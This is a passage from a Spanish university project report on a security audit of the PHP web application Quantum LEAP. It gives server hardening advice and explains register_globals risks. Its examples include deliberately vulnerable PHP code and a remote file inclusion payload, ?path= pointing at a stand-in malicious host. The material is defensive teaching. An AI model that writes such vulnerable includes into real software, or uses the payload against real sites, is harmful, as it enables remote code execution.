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1 PRESENTACIÓN   
En el presente capítulo se expone brevemente la temática y el contexto del proyecto. 
También   se   explica   la   organización   de   la  memoria.   Finalmente   se   detalla   el   material 
informático adjunto a la presente memoria.
1.1 Motivación
Durante más de 10 años me he dedicado al desarrollo web de manera profesional. 
Desde mis inicios donde mi trabajo consistía en la simple maquetación HTML y una pizca de 
programación JavaScript para hacer que dicho HTML fuese un poco más dinámico, hasta el 
día   de   hoy,   la   web   ha   evolucionado   de   una   manera   impresionantemente   rápida;   y 
paralelamente, las herramientas involucradas en la creación de una web se han multiplicado.
Mi inicio en el mundo de los lenguajes dinámicos de programación web se produjo con 
ASP (Active Server Pages) de Microsoft, todo a requerimiento de un cliente. En aquellos 
inicios   la   programación   de   servidor   podía   considerarse   prácticamente   «hacking»   en   el 
sentido tradicional de la palabra: crear pequeños scripts aquí y allá que interaccionaran con 
el usuario y alguna pequeña base de datos o sistema de archivos. Durante los primeros 
años de trabajo, dichos scripts se limitaban a recoger unos pocos datos del usuario y hacer 
algunos envíos de mail, tareas en las que ni la integridad ni la seguridad de los datos era 
primordial. Pero con la evolución de la web, evolucionaron los proyectos en los que me veía 
involucrado, y la seguridad se hacía cada vez más y más importante.
Ha   llegado  un  momento  en  que  el   desarrollo  de  mi   carrera  profesional  me  exige 
trabajar   en   proyectos   en   que   la   seguridad   comienza   a   ser   un   punto  más   que   crítico, 
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indispensable.   Proyectos   en   que   las   bases   de   datos   implicadas   contienen   valores 
equivalentes a millones de euros son especialmente jugosos para posibles atacantes. Es por 
ello que decidí que aprovecharía mis últimos «deberes» para con la Facultad de Informática 
de Barcelona, e intentaría mejorar al máximo posible mis conocimientos sobre seguridad, 
centrándome en el lenguaje de programación en el que actualmente me he especializado: 
PHP.
Mucho se ha hablado en los foros de Internet sobre la seguridad de dicho lenguaje, y 
con el paso del tiempo ha adquirido una fama de lenguaje inseguro. Esta fama, por otro 
lado, no es del todo inmerecida, pero no porque PHP no pueda ser un lenguaje seguro, sino 
porque otorga una serie de libertades al programador que, mal utilizadas, pueden provocar 
fácilmente agujeros de seguridad. Dicha fama proviene también del hecho de que la barrera 
de   entrada   para   programar   en   PHP   es   bastante   pequeña,   y   hay   por   tanto   muchos 
programadores sin experiencia trabajando en este lenguaje. Consecuencia directa de esto 
también es que muchísimas aplicaciones de código abierto disponibles en Internet para el 
público   son   programadas   en   este   lenguaje,   algunas   de   las   cuales   han   adquirido   gran 
notoriedad (sistemas de gestión de contenido, foros de discusión, gestores de correo web, y 
un largo etcétera). 
La mencionada disponibilidad de programadores,  de todos  los niveles posibles,  así 
como la ubicuidad del lenguaje, que se encuentra disponible en los servidores de la mayor 
parte de los servicios de alojamiento son los principales responsables del gran número de 
aplicaciones desarrolladas en PHP. Como consecuencia directa, existe un gran número de 
agujeros de seguridad. Por otro  lado, también resulta difícil  para las empresas encontrar 
programadores   especializados   en   PHP   altamente   cualificados.   Así   pues,   se   hace 
imprescindible   ampliar   el   currículo   de   habilidades   para   poder   destacar   frente   a   otros 
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candidatos dentro del mundo laboral, y dada la notoriedad que la seguridad ha adquirido, un 
proyecto final de carrera basado en esta disciplina es una buena distinción.
1.2 Breve descripción del proyecto
1.2.1 El   entorno  Quantum   LEAP:   Learning   English   for   Academic  
Purposes 
En la actualidad es indiscutible la presencia de la lengua inglesa como instrumento de 
comunicación en ámbitos académicos y profesionales. En el contexto de internacionalización 
y   globalización   en   el   que   nos   encontramos,   donde   el   intercambio   de   información   es 
fundamental, se hace imprescindible desarrollar habilidades y estrategias comunicativas en 
inglés que permitan una comunicación efectiva tanto oral como escrita.  En este contexto, las 
tecnologías   de   la   información,   tienen   un   papel   fundamental,   y   es   casi   impensable   la 
comunicación sin las herramientas que ha proporcionado el auge de las comunicaciones. 
Del  mismo  modo,   la   enseñanza  está   sufriendo   una   transformación,   y   las   herramientas 
docentes   se   están   adaptando   al   reto   que   suponen   nuevas   necesidades   y   estilos   de 
aprendizaje, de manera que el usuario disponga de instrumentos adecuados, atractivos y 
eficaces. 
En  este  sentido,  el  ámbito  de   las   lenguas  para   finalidades específicas  no  es  una 
excepción, y en la actualidad, existen experiencias docentes innovadoras que explotan el 
potencial de la tecnología para el aprendizaje de inglés. Gracias a la importante revolución 
de   las   comunicaciones   e   Internet,   es   posible   ofrecer   al   estudiante   herramientas   de 
aprendizaje que pueden resultar altamente motivadoras y eficaces. En está línea se incluye 
el entorno Quantum LEAP: Learning English for Academic Purposes, cuyo objetivo es poner 
a  disposición de  un  gran número de  usuarios  un  instrumento  para  el  desarrollo  de   las 
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habilidades  comunicativas  en   inglés  a   través  de  un  entorno  Web de   libre  acceso.  Con 
Quantum   LEAP   se   ofrece   un   entorno   dinámico   y   atractivo   que   permite   personalizar 
contenidos según diferentes necesidades e intereses, y que puede adaptarse a diferentes 
modalidades de enseñanza:  presencial,   semi  presencial   y  en  modo de  “self­access”.  Al 
mismo tiempo, se incorporan herramientas para el desarrollo del aprendizaje autónomo.
Más concretamente, Quantum LEAP  es un entorno virtual que incluye una serie de 
materiales   docentes   y   herramientas   específicamente   diseñados   para   el   entorno.   Estos 
materiales   están   organizados   en   15  módulos   didácticos   basados   en   temas   de   interés 
académico que contienen una gran variedad de material  multimedia  interactivo (véase la 
Figura   1.1).   En   este   sentido,   cabe   destacar   que,   en   la   actualidad,   disponemos   de   la 
tecnología  necesaria  para   incorporar   sonido  y   vídeo  de  buena calidad,  de  manera  que 
Quantum LEAP aprovecha este potencial para integrar materiales audiovisuales auténticos 
para el desarrollo de habilidades comunicativas orales y escritas. 
Fig. 1.1 ­ Módulos didácticos de Quantum LEAP
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Con el fin de potenciar el desarrollo de habilidades comunicativas, cada módulo está 
dividido en cuatro secciones que corresponden a las destrezas lingüísticas de comprensión 
y expresión oral  y  escrita:  Reading,    Writing,  Listening  y  Speaking.  Adicionalmente,  una 
sección   llamada  Preview  introduce   al   estudiante   al   tema   del   módulo,   proporcionando 
contexto a través de actividades.  Además de la variedad de materiales que se incluyen en 
Quantum LEAP, el entorno ofrece una serie de herramientas para el trabajo autónomo, tales 
como guías de estudio y hojas de control (o “personal log”). También se ha diseñado un 
portfolio electrónico donde el estudiante puede guardar muestras de su producción, tanto 
oral como escrita. Finalmente, la interfaz proporciona acceso a un tutorial de pronunciación 
especialmente   creado   para   el   entorno,   y   a   una   selección   de   recursos   online,   como 
gramáticas y diccionarios (véase la Figura 1.2).
Fig 1.2 ­ Interfaz de Quantum LEAP. Acceso al módulo 10
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Todo ello hace que  este entorno de aprendizaje pueda dar   respuesta a  diferentes 
usuarios con una variedad de  intereses dentro y   fuera de  la  comunidad universidad.  Al 
mismo  tiempo permite  el   trabajo   tanto   individual  como en grupos  de usuarios.  De esta 
manera, en la universidad, este entorno ofrece a estudiantes y profesores una herramienta 
potente   de  apoyo  para   los   cursos  de   inglés  profesional   y   académico  para  potenciar   el 
desarrollo de las habilidades comunicativas que todo ingeniero debe mostrar en el ejercicio 
de su profesión.
El   entorno   Quantum   LEAP   ha   sido   creado   y   desarrollado   por   un   equipo 
interuniversitario   de   profesores   especialistas   en   el   área   de   filología   inglesa   con   la 
colaboración de becarios y proyectistas principalmente dedicados a aspectos técnicos. Los 
creadores del entorno y sus contenidos son Elisabet Arnó Macià, Carmen Rueda Ramos y 
Antonia Soler Cervera (UPC), Lurdes Armengol Castells y Enric Llurda Giménez (UdL), y 
Joaquín Romero Gallego (URV). Para el desarrollo de Quantum LEAP, el equipo cuenta con 
asesoramiento  técnico del  Institut  de Ciències de  la Educació  de  la UPC, así  como con 
financiación proveniente de  la Universitat  Politècnica de Catalunya, Universitat  de Lleida, 
Universitat Rovira y Virgili, y la Generalitat de Catalunya en diversas fases. En la actualidad 
se encuentra en fase de desarrollo y pilotaje, y en breve se pondrá a disposición de usuarios 
de forma abierta y gratuita.
1.2.2 El proyecto en el contexto de Quantum LEAP
El presente proyecto se origina en relación al desarrollo e implementación del entorno 
desde el punto de vista técnico. Como se menciona en el apartado anterior, en el desarrollo 
técnico de Quantum LEAP colaboran desde sus inicios becarios y proyectistas, a la vez que 
personal del ICE de la UPC proporciona asesoramiento para un desarrollo efectivo. En la 
actualidad, se han digitalizado principalmente los apartados de percepción de gran parte de 
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los módulos, y durante el presente curso 2006­2007, se ha desarrollado un módulo completo, 
que  técnicamente   implica  relacionar  todos  los componentes de que consta el  entorno y 
hacerlos accesibles al usuario. 
Dentro de cada módulo didáctico, la mayor parte de las actividades son objetos Flash 
previamente diseñados por los profesores de inglés. Los ejercicios que requieren producción 
por  parte  del  estudiante.  Dichos  objetos  Flash  están  apoyados  en  scripts  PHP para  el 
control, almacenamiento y obtención de los datos.
Todo el contenido de Quantum LEAP está concebido para su acceso a través de la 
red. Por lo tanto, se hizo evidente que, dado que los usuarios del sistema pueden almacenar 
en él  datos personales, la seguridad del sistema era un punto a tener en cuenta. De ahí 
surgió   la  idea de realizar una auditoría de seguridad sobre el  módulo desarrollado. Esta 
auditoría tendría que tener un doble propósito. Por un lado, debería verificar la seguridad de 
este módulo ya existente, pero por otro debería servir de guía para asegurar la seguridad en 
la construcción de los módulos siguientes.
1.3 Audiencia
Este proyecto va orientado hacia una audiencia muy concreta, los programadores del 
proyecto Quantum LEAP y sus responsables, con la finalidad global de contribuir a mejorar 
la seguridad del entorno. Pero también puede ser de utilidad para cualquier persona que 
pretenda desarrollar o revisar la seguridad de una aplicación PHP. Sin embargo, en ningún 
momento el proyecto pretende servir como manual del lenguaje, esto queda fuera del ámbito 
y las intenciones de su autor. Es por ello que a la audiencia se le supone unos mínimos 
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conocimientos de programación PHP, así  como de  lenguajes web en general,  bases de 
datos, SQL, y servidores web.
1.4 Organización de la memoria
El presente documento se organiza en los siguientes capítulos.
El capítulo 1, Presentación, ofrece una visión general de la memoria, su organización y 
la audiencia a quien va dirigida. Además, también realiza una introducción a la aplicación 
Quantum LEAP, aplicación sobre la que se realizará  la auditoria de seguridad en que se 
basa este proyecto.
El capítulo  2,  Introducción, da a conocer el ámbito donde se sitúa el proyecto y los 
objetivos concretos del mismo. También realiza una breve introducción al tema principal de 
la memoria, la seguridad web, y la manera en que la auditoria ha sido abordada.
El capítulo 3, Auditoria: Sistema, ofrece una visión teórica y general sobre la seguridad 
del sistema en que la aplicación está instalada. Dicho capítulo ha de servir de guía en el 
momento de la instalación de la aplicación en el servidor definitivo que debe alojarla.
El  capítulo  4,  Auditoria:  Programación,  de  manera  análoga al  anterior,   realiza  una 
revisión general de los detalles que hay que tener en cuenta en la programación de una 
aplicación PHP, desde la perspectiva de la seguridad. Dicha revisión es extensiva, dado que 
la auditoria del código PHP es el objetivo principal del proyecto.
El  capítulo  5,  Conclusiones,   informa de   las  vulnerabilidades halladas en el  código 
fuente de la aplicación Quantum LEAP, y resume las conclusiones extraídas de la auditoria. 
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Además, se incluye una serie de recomendaciones para los programadores del proyecto, 
derivadas de la realización de esta auditoria y la consecuente revisión del código.
1.5 Material Adjuntado
Además de la presente memoria se adjunta un cd que contiene el siguiente material:
● El código fuente PHP del módulo de Quantum LEAP objeto de la auditoria
● Los archivos Flash implicados (en formato compilado) y diferentes páginas html 
e imágenes que forman también parte del módulo.
● Una   copia   de   la   presente  memoria   en   formato  Portable  Document   Format 
(PDF).
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2 INTRODUCCIÓN   
2.1 Objetivos
El  objetivo   inicial   de  este  proyecto  es  el   de  comprobar   la   seguridad  global  de   la 
aplicación Quantum LEAP, más concretamente del módulo desarrollado por el  momento. 
Para ello, se realizarán comprobaciones de seguridad sobre el sistema operativo así como 
de la base de datos. Sim embargo, el objetivo principal del proyecto es la revisión del código 
fuente de la aplicación en búsqueda de las vulnerabilidades que podrían haber sido evitadas 
por parte de los programadores.
Un objetivo adicional es que la presente memoria sirva de guía y referencia de cara al 
posterior desarrollo del resto de módulos de Quantum LEAP pendientes de desarrollar. Por 
ello es también parte primordial de la auditoria el explicar de manera clara y concisa las más 
comunes y peligrosas vulnerabilidades que los programadores pueden encontrar, así como 
proporcionar consejos para evitarlas.
2.2 Estudio y aproximación
2.2.1 La seguridad en una aplicación web
El concepto de seguridad informática en desarrollos web
Cuando   hablamos   de   seguridad   informática,   debemos   tener   en   cuenta   que   la 
seguridad no es una característica, sino una medida. Nunca podemos asegurar que una 
aplicación   es   segura   al   cien   por   cien.  En   la  mayoría   de   los   casos   son   incontables   e 
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inabarcables   los   factores  que  pueden  hacer   que  una  aplicación  sea  explotada,   ya   sea 
intencionadamente  mediante   intentos   de   eventuales   atacantes,   o   debido   a   errores   de 
implementación o de hardware.
Además,  la seguridad es un concepto subjetivo. El creador de una aplicación debe 
conseguir   un   balance   apropiado   entre   el   nivel   de   seguridad   y   su   coste   de   desarrollo. 
Asimismo, este equilibrio debe darse también con la usabilidad, ya que es común que las 
medidas   adoptadas   en   una   web   en   pos   de   un   incremento   de   la   seguridad   también 
contribuyan a disminuir la satisfacción del usuario con la experiencia: contraseñas, tiempo 
limitado de sesión y métodos de control de acceso generan incomodidades a los usuarios 
legítimos,   aunque   estas  medidas   sean   concebidas   para   su   protección.  Algunas   veces, 
muchas de estas medidas no son necesarias o resultan superfluas, y es por ello que debe 
tenerse   especial   precaución   en   la   elección   de   los   sistemas   de   seguridad   que   se 
implementarán en una aplicación.
Otro error de concepto bastante común en el desarrollo de aplicaciones web es el de 
pensar   en   proteger   la   aplicación   como   proceso   o   paso   inmediatamente   posterior   a   la 
finalización de dicho desarrollo. La seguridad de una aplicación, y aún más en entornos 
abiertos como es el entorno web, debe tenerse en mente desde las fases iniciales del diseño 
de   la  misma.  La  seguridad  no es  un  añadido  posterior,  es  un   requerimiento  previo.  La 
programación cuidadosa y adecuada, teniendo siempre en mente la seguridad, evitará tener 
que lidiar constantemente con nuevas vulnerabilidades una vez la aplicación se encuentre 
desplegada y funcionando, pero por muy cuidadosos que seamos en la programación, un 
diseño inadecuado puede dar al traste con nuestras pretensiones.
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Posibles puntos débiles
En una aplicación web, existen tres puntos principales que pueden ser atacados: el 
sistema operativo, la base de datos, y la aplicación (o su código fuente).
La aplicación Quantum LEAP está desarrollada con la intención de ser instalada en un 
servidor Linux. Hay que indicar, no obstante, que la distribución y/o versiones de núcleo y 
aplicaciones instaladas no están disponibles en el momento de realización de la auditoria, ni 
en el de la redacción de la presente memoria. El sistema gestor de bases de datos sobre el 
que se ejecutará es MySQL, versión 4.x. Tampoco en este caso está disponible el número 
de subversión exacto).
La aplicación estará programada utilizando el lenguaje PHP, sobre el que se apoyarán 
diferentes  módulos   Flash   para   realizar   las   tareas   de   gestión   de   datos.   La   versión   del 
lenguaje utilizada es la 4. El análisis del código fuente de la aplicación es el objetivo principal 
de la auditoria, ya que en un sistema operativo configurado con un mínimo de atención por la 
seguridad, la aplicación es el lugar donde pueden ocurrir las vulnerabilidades más graves. 
Además las vulnerabilidades derivadas de la programación son las únicas que dependen 
exclusivamente de los programadores de la aplicación Quantum LEAP, que es la audiencia a 
quien va dirigida la auditoria.
La seguridad en la aplicación
En un entorno web abierto, como es el caso que nos ocupa, el acceso de posibles 
usuarios malintencionados es prácticamente inevitable. Es por ello que durante el desarrollo 
se deben tratar de considerar posibles usos ilegítimos y vías de abuso que dichos usuarios 
malintencionados podrían buscar.
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Sin lugar a dudas, una de las mejores maneras de obtener pistas sobre los posibles 
fallos y vulnerabilidades de la aplicación que estamos desarrollando, es la de estar al día de 
los nuevos agujeros de seguridad surgidos en otras aplicaciones similares, y de las técnicas 
que  puedan  crearse  para   tapar  dichos  agujeros  que  puedan  surgir.  Existen  numerosas 
referencias  y   lugares  en   los  que  el  creador  de  una  aplicación  puede encontrar   ingente 
información sobre el tema (véase por ejemplo [12] de la lista de referencias incluidas al final 
de este documento)
Alcance de las vulnerabilidades
El intérprete de PHP tiene acceso potencial a todas las partes de la máquina en que 
se ejecuta, (sistema de archivos, interfaces de red, etcétera). En consecuencia, PHP es un 
lenguaje que tiene el  potencial para hacer  (o ser utilizado para hacer) mucho daño a  la 
máquina. 
Un  programador  debe  ser   consciente  de  este  peligro  a   la  hora  de  desarrollar   su 
aplicación.   Al   ser   PHP   un   lenguaje   interpretado,   puede   haber   adquirido   una   fama   de 
lenguaje para pequeñas aplicaciones o «hacks», pero nada se aleja más de la realidad. De 
hecho, con el paso del tiempo, las aplicaciones realizadas en PHP crecen exponencialmente 
en complejidad, y también en posibles agujeros de seguridad.
La importancia del filtrado de datos
Probablemente,   uno   de   los   aspectos   más   importantes   a   tener   en   cuenta   es   la 
procedencia de los datos. Tanto si provienen directamente del usuario, del navegador, o del 
mismo   servidor,   los   datos   externos   siempre   están   sujetos   a   modificaciones 
malintencionadas, y por ello debemos ser extremadamente cuidadosos con su tratamiento y 
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utilización.  Siempre   debe   comprobarse   que   los   datos   corresponden   al   tipo,   formato   y 
longitud esperados, es decir, no debe utilizarse ningún tipo de datos sin filtrarlo previamente.
El filtrado de los datos externos acarreará un esfuerzo mínimo en comparación con los 
enormes beneficios que nos reportará gracias a la multitud de vulnerabilidades que puede 
impedir. Es muy conveniente optar por una política de denegar la utilización de cualquier 
dato que no pueda ser probado como válido. Como consideraciones a tener muy en cuenta 
en el proceso de filtrado están ciertas características del lenguaje que nos ocupa, que hacen 
que la aplicación sea mucho más vulnerable en el caso de una programación poco orientada 
a la seguridad. Configuraciones como la poco afortunada opción register_globals que 
los programadores de PHP se han ocupado de desactivar en versiones recientes, o una 
inadecuada gestión de los errores (que pueden llegar a exponer partes críticas del código o 
la estructura de la base de datos al usuario) deben observarse con extremo cuidado.
Control sobre las variables de entorno
De la misma manera que los datos que recibimos por parte del usuario pueden haber 
sido manipulados con perversas intenciones, PHP no tiene ningún control sobre el estado y 
corrección de  los valores almacenados en  las diferentes variables de entorno que puede 
utilizar. Muchos, si no todos, de estos valores pueden ser modificados por un atacante, y por 
tanto el programador debe tener un cuidado exquisito en el tratamiento de estas variables, 
tanto como en el de los datos externos.
2.2.2 Aproximación al proyecto
En los objetivos iniciales de la auditoria, se incluían unas comprobaciones previas de 
seguridad sobre el servidor en el que se tenía que hallar instalada la aplicación, además de 
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la auditoria sobre el código fuente. Más concretamente, estas comprobaciones tenían que 
tener lugar sobre el sistema operativo (usuarios, contraseñas, puertos abiertos, etcétera) y la 
base de datos (privilegios, registros, transacciones).
Debido a   las   lentas gestiones  internas sobre  el  alojamiento  definitivo  de Quantum 
LEAP, no se ha podido disponer de la aplicación instalada en ningún servidor con versiones 
aproximadas a las finales del sistema operativo ni del sistema gestor de base de datos. Por 
tanto, la auditoria se ha realizado instalando la parte desarrollada de la aplicación en un 
servidor   propio   de  pruebas.  Dado  que   la   seguridad  de  dicho   servidor,   las   contraseñas 
asignadas, o los puertos abiertos poco o nada pueden tener que ver con las del servidor 
definitivo, estas comprobaciones previas de seguridad sobre el servidor carecen de sentido. 
Por lo tanto, en la sección dedicada a ellas, se ha procedido a incluir una guía de seguridad 
esencial dirigida al momento de implantación de la aplicación en el servidor.
Por esta misma razón, la auditoria del código fuente se ha realizado de una manera 
manual,   mediante   revisión   directa,   y   sin   utilización   de   herramientas   automáticas   de 
búsqueda   de   vulnerabilidades.   Dichas   herramientas   requieren   que   la   aplicación   esté 
instalada en un servidor con condiciones similares a  las del servidor que definitivamente 
alojará la aplicación.
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3 AUDITORIA: SISTEMA   
Tal  y  como se ha comentado en el  punto «2.2.2  Aproximación al  proyecto», en el 
apartado de seguridad en lo que se refiere al sistema operativo, no podemos dar más que 
una guía general y consejos sobre la instalación y configuración del servidor web de manera 
fiable y segura, dado que en el momento de la realización de la auditoria la aplicación no 
está   instalada   en   ninguna   localización   definitiva.   Por   lo   tanto   asumiremos   que   el 
programador  o   implantador  de  la  aplicación  tendrá   los  privilegios suficientes  para poder 
configurar correctamente el servidor; es decir, no se trata de ningún servicio de alojamiento 
con configuraciones predeterminadas o, aún peor, servidores de alojamiento compartido.
3.1 Puertas de acceso al sistema
La manera más simple de conseguir un buen nivel de seguridad en el sistema consiste 
en  reducir  al  máximo el  número de puertas abiertas.  Con esto,  queremos decir  que se 
deberían   eliminar   todos   aquellos   puntos   de   acceso   a   través   de   la   red   que   no   sean 
necesarios,  especialmente procesos  residentes que esperen datos en diferentes puertos 
TCP/IP.
Asumiendo que el servidor será un servidor web dedicado, que será empleado para 
servir la aplicación web, sólo debería aceptar peticiones HTTP (para la aplicación web) y 
SSH (para  la administración del servidor).  Así  pues,  los únicos procesos residentes que 
deberían estar esperando datos en algún puerto son sshd (el servidor del protocolo ssh) y 
httpd (el proceso del servidor Apache). Por otro lado, nunca debería utilizarse telnet, ftp, o 
cualquier otro tipo de protocolo no cifrado para la administración de la máquina. El tráfico 
podría ser interceptado, y en estos protocolos la información viaja en modo texto sin ningún 
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tipo  de  cifrado,   lo  cual  haría que un  posible  atacante  a   la  escucha pudiese  interceptar 
información tal como nombres de usuario, contraseñas, y otro tipo de información sensible.
3.2 La base de datos
Además de estos dos servidores,  la aplicación Quantum LEAP utiliza una base de 
datos MySQL para el almacenamiento de los datos, con lo que el tercer programa residente 
que debería estar  a   la  escucha es  mysqld.  No obstante,  debería  limitarse  el  acceso al 
servidor MySQL a  los usuarios provenientes de  la máquina  local, y no abrir  el  puerto al 
exterior, de manera que reducimos el número de puntos de acceso expuestos al exterior.
Dentro del  motor  de  la  base de datos,  debe evitarse  una práctica  habitual  y  muy 
insegura   entre   los   programadores   PHP,   a   saber:   la   utilización   de   usuarios   «super­
privilegiados» para realizar tareas que no requieren de todos los privilegios disponibles. El 
programador debe considerar el tipo de acciones que se realizarán sobre la base de datos, y 
crear usuarios con los permisos concretos necesarios, y sobre las bases de datos y tablas 
estrictamente necesarias también.
3.3 El servidor apache
En cuanto a la instalación del servidor web, es importante asegurarse que el proceso 
se ejecuta con un usuario con los mínimos permisos necesarios, y nunca que sea ejecutado 
por   el   mismo   usuario   que   dispone   de   acceso   sshd   a   la   máquina   con   derechos   de 
administrador. El proceso del servidor web debería ser lo menos privilegiado posible dentro 
del sistema. De esta manera un atacante que consiguiera entrar al sistema a través del 
servidor web no debería ser capaz de modificar las páginas.
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Además, una medida adicional debería ser desactivar la visualización o exploración de 
directorios, de manera que los usuarios no puedan ver el contenido de éstos y, siempre que 
sea posible, mantener los permisos de dichos directorios en el modo de sólo lectura, por los 
mismos motivos antes mencionados de evitar la modificación de los archivos. Si el usuario 
no puede explorar nuestra estructura de directorios, le dificultamos el hacerse una idea de 
los scripts disponibles, y de esta manera añadimos una barrera más en su posible intento de 
romper nuestra seguridad.
En el contexto de la estructura de directorios, es igualmente importante la forma en 
que distribuimos nuestro código en el servidor. La estructura de programación de una buena 
aplicación debería permitir una instalación tal que la mayor parte del código se situara fuera 
de la estructura de directorios accesible al público a través de la web. Dichos directorios 
deberían contener exclusivamente  los archivos con el código mínimo imprescindible para 
hacer la llamada a los archivos que contienen la mayor parte de la funcionalidad, y que se 
situarán fuera del alcance del usuario.
3.4 Servicios adicionales
Envío de mail
En el caso que la aplicación necesite enviar correos electrónicos, debería instalarse 
también el paquete  sendmail, teniendo muy en cuenta que la configuración de éste debe 
realizarse para permitir únicamente el envío de correo, y no la recepción. Además, dicho 
servicio debe configurarse también para recibir únicamente peticiones de envío desde la 
máquina local, de manera que no convirtamos nuestro servidor en un posible objetivo para 
los remitentes de correo basura.
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TcpWrappers
El paquete  tcpwrappers  se utiliza para controlar el acceso al servidor de diferentes 
máquinas.   Este   paquete   se   basa   en   dos   archivos   de   configuración,   para   los   accesos 
autorizados y los denegados, y permite configurar diferentes máquinas con o sin acceso por 
cada uno de  los servicios que están abiertos al  público en el servidor.  De esta manera, 
podríamos establecer que sólo la máquina del programador tenga acceso por ssh para la 
administración  del   sistema,  o  que  nadie   de   fuera  del  propio   servidor   pueda  acceder  a 
sendmail, por ejemplo.
3.5 Los usuarios del sistema
De manera análoga a lo comentado sobre la base de datos, los usuarios con acceso al 
sistema deben tener los privilegios mínimos requeridos para las tareas que van a realizar. Si 
vamos a tener un encargado de revisar los registros del servidor, por ejemplo, los únicos 
privilegios que debería tener son de lectura sobre dichos archivos.
Además, es primordial la elección de buenas contraseñas para evitar posibles ataques 
que  intenten entrar  al  servidor  aprovechando una posible debilidad de  las  mismas.  Una 
buena contraseña debería constar de una serie de caracteres alfanuméricos que no puedan 
ser encontrados en ningún diccionario, y debería combinar letras mayúsculas y minúsculas 
con números.  Además,   la  contraseña debe ser   razonablemente   larga   (con una  longitud 
mínima que puede estar entre los 6 y los 8 caracteres).
3.6 Una estrategia defensiva
El administrador de un servidor web siempre debe adoptar una estrategia defensiva en 
lo que a su seguridad se refiere. Todos los servidores web están expuestos constantemente, 
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y   de   manera   diaria,   a   ataques.   Muchas   veces,   estos   ataques   no   están   dirigidos 
concretamente hacia nuestro servidor, sino en busca de posibles víctimas de las que extraer 
algún tipo de provecho.
Como parte de esta estrategia, deberemos asegurarnos de que los puertos que hay 
abiertos  son  los  estrictamente  necesarios.  Un comando como netstat   ­a   |  grep  LISTEN 
realizará un barrido sobre los puertos que tenemos abiertos en el sistema, mostrándonos 
aquéllos que están recibiendo datos del exterior. Otra acción dentro de esta estrategia debe 
ser también una constante y persistente consulta de los registros del sistema en busca de 
posibles intrusiones. En casos en los que la necesidad de seguridad sea extrema, incluso 
podemos plantearnos opciones como el almacenaje de los registros en un servidor diferente 
especialmente  dedicado a  ello,  de manera  que  los  atacantes  que accedieran a  nuestra 
máquina no pudiesen modificarlos para borrar sus huellas en el sistema.
Finalmente,   es   fundamental   comprobar   regularmente   las   posibles   nuevas 
vulnerabilidades del software instalado en el sistema, así como del sistema operativo sobre 
el que la aplicación se está ejecutando. Tan pronto como haya actualizaciones de seguridad 
sobre algunas partes de nuestro servidor, éstas deben ser aplicadas por el administrador.
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4 AUDITORIA: PROGRAMACIÓN   
4.1 Posibles vulnerabilidades
Todos  los   lenguajes de programación  tienen un  modus operandi,  y  un entorno de 
utilización que los puede hacer más proclives a un tipo de vulnerabilidad u otra. En esta 
sección se  incluye una enumeración de  las vulnerabilidades más comunes y graves del 
lenguaje PHP, brevemente explicadas, y con ejemplos que aclaran dichas explicaciones en 
caso de ser necesarios.
4.1.1 Register Globals
PHP se distribuye con un archivo  de configuración  llamado php.ini  que sirve  para 
definir las opciones globales del lenguaje que queremos utilizar: ruta del registro de error, 
tipo de errores a registrar, módulos adicionales que queremos activar; y un sinfín más de 
opciones.  Entre  todas ellas hay una opción que destaca por haber sido protagonista de 
sonados casos de agujeros en otras aplicaciones, la opción register_globals. A pesar 
de   que   a   partir   de   la   versión   de   PHP   4.2.0   la   opción  register_globals  ha   sido 
desactivada en las instalaciones por defecto, su utilización sigue causando problemas en las 
aplicaciones   PHP,   debido   a   que   algunos   programadores   están   acostumbrados   a   su 
utilización.
La opción   register_globals  no supone una vulnerabilidad por sí  misma, sino 
simplemente   un   riesgo.   Es   por   ello   que   las   aplicaciones   PHP   siempre   se   deberían 
desarrollar e implantar con   register_globals desactivado. Básicamente, lo que dicha 
opción permite es que ciertos valores que la aplicación utiliza (entre ellos aquellos que el 
usuario nos envía) se instalen automáticamente en el ámbito global de la aplicación como 
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variables normales. Así pues, si en una url el usuario nos envía la variable ?varusuario = 
1, eso automáticamente equivaldría a insertar el código $varusuario = 1; al principio de 
nuestro código. En las versiones antiguas de PHP esto podía parecer muy conveniente a los 
programadores, dado que la forma estándar de acceder al valor enviado por el usuario sin la 
opción register_globals activada implicaba un número considerable de pulsaciones de 
teclado adicionales: $HTTP_GET_VARS['varusuario'];.
En resumen,  register_globals supone un riesgo de seguridad:  la  inyección de 
código, que es difícil de explicar mediante buenos ejemplos, pero el ejemplo más común se 
encuentra en el mismo manual de PHP [4]:
<?php 
if (authenticated_user()) 
{ 
    $authorized = true; 
} 
if ($authorized) 
{ 
    include '/highly/sensitive/data.php'; 
} 
?>
Con  register_globals  activado, a esta página se le puede aplicar el parámetro  
?authorized=1  a través de  la url  para quebrantar el  control  de acceso que  incluye el 
código. Por supuesto, esta vulnerabilidad es un fallo del programador, no de la opción en sí, 
pero con este ejemplo indicamos el riesgo que la opción puede plantear. Sin ella activada, 
las variables globales ordinarias (como $authorized en el ejemplo) no se ven afectadas 
por   la   inclusión de variables en  la  petición de  la  url,  o  en el  envío de  formularios  y  el 
establecimiento de variables de sesión.
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Para llevar más allá una estrategia defensiva de programación con respecto a este tipo 
de   vulnerabilidades,   es   aconsejable   programar   con   la   opción  error_reporting 
establecida a  E_ALL,  de  manera  que  la  utilización de una variable  sin   inicializar  no se 
pasará por alto. Más adelante hablaremos sobre el nivel de informe de errores, y su correcta 
utilización.
Otro   ejemplo   que   ilustra   como   la   opción    register_globals  puede   resultar 
problemática es la inclusión de un archivo con una ruta dinámica:
<?php
include "$path/script.php";
?>
Con  register_globals activado, esta página podría invocarse con el parámetro 
?path=http%3A%2F%2Fejemplo.malicioso.org%2F%3F incluido en la url, y obtener el 
siguiente resultado en el código anterior:
<?php
include 'http://ejemplo.malicioso.org/?/script.php';
?>
Una de las opciones del mencionado php.ini es allow_url_fopen. Esta opción 
permite que nuestra aplicación pueda inspeccionar y ejecutar archivos de servidores ajenos 
al   nuestro.   Si  la   opción  allow_url_fopen  está   activada   esto   incluirá   la   salida   de 
http://ejemplo.malicioso.org/ como si el archivo fuese local. Esto supone una gran 
vulnerabilidad, que ha sido descubierta en algunas aplicaciones conocidas. Para eliminar 
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este   riesgo   particular,   puede   inicializase   la   variable  $path,  pero   para   evitarlo 
completamente   es   mejor   desactivar    register_globals.  Un   error   inocente   de   un 
programador que no inicialice una variable puede llevar a este tipo de situaciones, mientras 
que  desactivando la opción eliminamos esta posibilidad de una manera global.
Sin embargo, el desactivar esta opción no debe implicar menos atención al origen de 
nuestros  datos,   ya  que   siempre  hay  que   tener   especial   cuidado  de   verificar   de  dónde 
provienen y comprobar que son los datos correctos y esperados. Es más, no siempre  la 
